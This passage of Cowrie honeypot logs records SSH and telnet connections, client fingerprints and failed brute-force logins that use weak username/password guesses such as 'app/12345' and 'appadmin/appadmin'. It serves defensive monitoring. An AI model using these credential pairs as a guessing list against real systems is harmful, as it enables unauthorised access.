,"ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:19.595200Z","src_ip":"213.209.159.158","session":"384b5bb9da03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"12345","message":"login attempt [app/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:29.135776Z","src_ip":"213.209.159.158","session":"384b5bb9da03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:32.488412Z","src_ip":"213.209.159.158","session":"384b5bb9da03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19496,"dst_ip":"159.203.135.109","dst_port":22,"session":"d788e7e4e6e4","protocol":"ssh","message":"New connection: 213.209.159.158:19496 (159.203.135.109:22) [session: d788e7e4e6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:32.568307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:34.906264Z","src_ip":"213.209.159.158","session":"d788e7e4e6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:34.909629Z","src_ip":"213.209.159.158","session":"d788e7e4e6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":47942,"dst_ip":"159.203.135.109","dst_port":22,"session":"11fa2cbb6ede","protocol":"ssh","message":"New connection: 103.117.56.152:47942 (159.203.135.109:22) [session: 11fa2cbb6ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:44.230592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:44.234969Z","src_ip":"103.117.56.152","session":"11fa2cbb6ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:44.483454Z","src_ip":"103.117.56.152","session":"11fa2cbb6ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angelica","password":"angelica","message":"login attempt [angelica/angelica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:44.887017Z","src_ip":"213.209.159.158","session":"d788e7e4e6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"modify","password":"12345678","message":"login attempt [modify/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:45.520468Z","src_ip":"103.117.56.152","session":"11fa2cbb6ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:46.771637Z","src_ip":"103.117.56.152","session":"11fa2cbb6ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:48.239010Z","src_ip":"213.209.159.158","session":"d788e7e4e6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34922,"dst_ip":"159.203.135.109","dst_port":22,"session":"48ade1e8074c","protocol":"ssh","message":"New connection: 213.209.159.158:34922 (159.203.135.109:22) [session: 48ade1e8074c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:48.346502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:50.464322Z","src_ip":"213.209.159.158","session":"48ade1e8074c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:50.467567Z","src_ip":"213.209.159.158","session":"48ade1e8074c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appadmin","password":"appadmin","message":"login attempt [appadmin/appadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:00.576402Z","src_ip":"213.209.159.158","session":"48ade1e8074c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44358,"dst_ip":"159.203.135.109","dst_port":22,"session":"651000044fde","protocol":"ssh","message":"New connection: 60.199.224.2:44358 (159.203.135.109:22) [session: 651000044fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:02.860741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:02.866935Z","src_ip":"60.199.224.2","session":"651000044fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:03.072983Z","src_ip":"60.199.224.2","session":"651000044fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:03.831172Z","src_ip":"213.209.159.158","session":"48ade1e8074c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9614,"dst_ip":"159.203.135.109","dst_port":22,"session":"fadd7b71bc27","protocol":"ssh","message":"New connection: 213.209.159.158:9614 (159.203.135.109:22) [session: fadd7b71bc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:03.917800Z"}
{"eventid":"cowrie.login.failed","username":"mehdi","password":"mehdipass","message":"login attempt [mehdi/mehdipass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:03.928890Z","src_ip":"60.199.224.2","session":"651000044fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:05.137748Z","src_ip":"60.199.224.2","session":"651000044fde","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:06.552531Z","src_ip":"213.209.159.158","session":"fadd7b71bc27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:06.556033Z","src_ip":"213.209.159.158","session":"fadd7b71bc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.212","src_port":7134,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6c09dcbaf74","protocol":"telnet","message":"New connection: 65.49.1.212:7134 (159.203.135.109:23) [session: e6c09dcbaf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:15.896753Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:15.901669Z","src_ip":"65.49.1.212","session":"e6c09dcbaf74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:15.905682Z","src_ip":"65.49.1.212","session":"e6c09dcbaf74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:15.909490Z","src_ip":"65.49.1.212","session":"e6c09dcbaf74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.11865806579589844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:16.015291Z","src_ip":"65.49.1.212","session":"e6c09dcbaf74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"voices","password":"voices","message":"login attempt [voices/voices] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:16.175059Z","src_ip":"213.209.159.158","session":"fadd7b71bc27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:19.806800Z","src_ip":"213.209.159.158","session":"fadd7b71bc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36238,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c30deafa7cb","protocol":"ssh","message":"New connection: 213.209.159.158:36238 (159.203.135.109:22) [session: 3c30deafa7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:19.885340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:22.160671Z","src_ip":"213.209.159.158","session":"3c30deafa7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:22.164751Z","src_ip":"213.209.159.158","session":"3c30deafa7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.122","src_port":9038,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd9ac4cf119","protocol":"telnet","message":"New connection: 65.49.1.122:9038 (10.17.0.5:23) [session: 7cd9ac4cf119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:28.844411Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:28.849371Z","src_ip":"65.49.1.122","session":"7cd9ac4cf119","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:28.852897Z","src_ip":"65.49.1.122","session":"7cd9ac4cf119","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:28.856461Z","src_ip":"65.49.1.122","session":"7cd9ac4cf119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0870506763458252,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:28.931328Z","src_ip":"65.49.1.122","session":"7cd9ac4cf119","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amx","password":"amx","message":"login attempt [amx/amx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:31.775108Z","src_ip":"213.209.159.158","session":"3c30deafa7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":37462,"dst_ip":"159.203.135.109","dst_port":22,"session":"9420f99bcca0","protocol":"ssh","message":"New connection: 20.26.135.100:37462 (159.203.135.109:22) [session: 9420f99bcca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:33.140807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:33.144940Z","src_ip":"20.26.135.100","session":"9420f99bcca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:33.230790Z","src_ip":"20.26.135.100","session":"9420f99bcca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sansforensics","password":"12345678","message":"login attempt [sansforensics/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:33.604565Z","src_ip":"20.26.135.100","session":"9420f99bcca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:34.692003Z","src_ip":"20.26.135.100","session":"9420f99bcca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:40:35.530493Z","src_ip":"213.209.159.158","session":"3c30deafa7cb","protocol":"ssh"}
